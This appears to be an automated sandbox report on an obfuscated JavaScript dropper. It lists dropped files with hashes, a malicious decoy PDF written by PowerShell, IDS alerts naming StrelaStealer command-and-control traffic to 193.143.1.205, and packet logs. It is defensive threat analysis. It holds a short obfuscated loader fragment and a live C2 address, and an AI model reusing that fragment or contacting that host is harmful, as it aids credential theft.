Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\7b5fd4a5-a8d6-43e2-99fc-decf1d64c38b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17776), with CRLF line terminators
Entropy (8bit):	4.8998256971846414
TrID:
File name:	166452923276113028.js
File size:	21'243 bytes
MD5:	a7e5980b83f31765c1ac1bf380473972
SHA1:	8814f9d228703adf79ebc674011b13c30ad243c3
SHA256:	fc62b652c376388c664491e07148f0223269d0808ba04f15116aff1e90f30705
SHA512:	8b654ac764622e6e744c2f365821e8d8695aec367a53250b817b4ac0004fd0fb452076c9878737a631b2707abdfedc30424a6d73de50e60da1249f821c35e442
SSDEEP:	384:+cqagCKfqa9du8XUwM8Tt5o2hQcR85rAFs82RNqKUIpeHypWPCscoJYYEczF4ZDK:+cq4KfqUE8XUwM8Tte2hQcR85rAFs82M
TLSH:	2F924500CDFF872B89CA61750EF7014DE15D02294BA0919E1ED76C8EAB61B5E7BC19B8
File Content Preview:	function vsddai(){iblid=[1031,3079,5127,4103,2055,3072];var jszucld=this[upqfamyyy+mrdev+hrhkxag+dgbeivdar+kiqqgzwkt+uewdgl+ypzfug+wnjylr](this[ihvtgit+sjslyljh+byojcgj+hrhkxag+evzcmrwz+upqfamyyy+wnjylr][kagmxqoz+hrhkxag+kiqqgzwkt+mrdev+wnjylr+kiqqgzwkt+t

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T03:22:52.633563+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T03:22:52.633563+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T03:22:55.013417+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:22:51.821959019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:51.827001095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:51.827078104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:51.835386992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:51.840179920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.633464098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.633490086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.633507013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.633523941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.633543015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.633563042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.633616924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.633629084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.633645058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.633661032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.633672953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.633678913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.633745909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.633827925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.633934975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.638521910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.638536930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.638595104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.676573992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.676620960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.676680088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.758582115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.758630991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.758667946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.758706093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.758766890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.758811951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.763268948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.763308048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.763382912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.763386965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.763422966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.763472080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.768093109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.768145084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.768177986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.768213987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.768305063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.768340111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.768357992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.772895098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.772949934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.772975922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.772988081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.773022890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.773032904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.773060083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.773112059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.777709961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.777754068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.777793884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.777828932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.777832985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.777906895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.810153008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.810213089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.810292959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.848040104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.848088026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.848212004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.850872993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.850905895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.850960016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.882967949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.883028984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.883066893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.883104086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.883109093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.883143902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.883163929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.883251905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.883285046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.883300066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.883771896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.883805990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.883830070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.883846998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.883900881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.883917093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.884356022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.884388924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.884413004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.884426117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.884460926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.884476900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.884968996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.885004044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.885040998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.885041952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.885092020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.885135889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.885169983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.885215044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.885849953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.885886908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.885938883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.885941029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.885976076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.886013985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.886035919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.886703014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.886739016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.886774063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.886785984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.886818886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.886852026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.886888027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.886934042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.887597084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.887631893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.887670040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.887680054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.887708902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.887747049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.887758017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.888379097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.888420105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.888432026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.888459921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.888497114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.888509035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.888602972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.888652086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.889234066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.902508974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.902546883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.902580976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.902584076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.902627945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.943696976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.943722963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.943818092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.972740889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.972781897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.972817898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.972856045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.972987890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.973040104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:52.975397110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.975425959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:52.975477934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.010349989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.010400057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.010462046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.010462999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.010503054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.010555029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.010559082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.010596037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.010631084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.010648966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.010679007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.010689020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.010737896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.010760069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.010772943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.010795116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.010807991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.010844946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.010858059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.010879993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.010919094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.010931015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.010956049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.011007071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.011015892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.011053085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.011097908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.011102915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.011131048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.011182070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.011185884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.011234999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.011267900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.011284113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.011301994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.011358976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.011363029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.011399984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.011449099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.011557102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.011610031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.011646032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.011662960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.011687040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.011732101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.011755943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.011790037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.011827946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.011836052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.012150049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.012198925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.012217999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.012254953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.012299061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.012387991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.012422085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.012455940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.012466908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.012495995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.012536049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.012708902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.012744904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.012779951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.012789965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.013195992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.013227940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.013247013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.013267040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.013309002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.013346910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.013382912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.013416052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.013431072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.013454914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.013499022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.013581038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.013613939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.013649940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.013659000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.014096975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.014131069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.014148951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.014168024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.014214039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.014292002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.014324903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.014358997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.014374018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.014398098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.014446020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.014509916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.014544010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.014578104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.014592886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.014965057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.015000105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.015007019 CET	49730	80	192.168.2.4	193.143.1.205
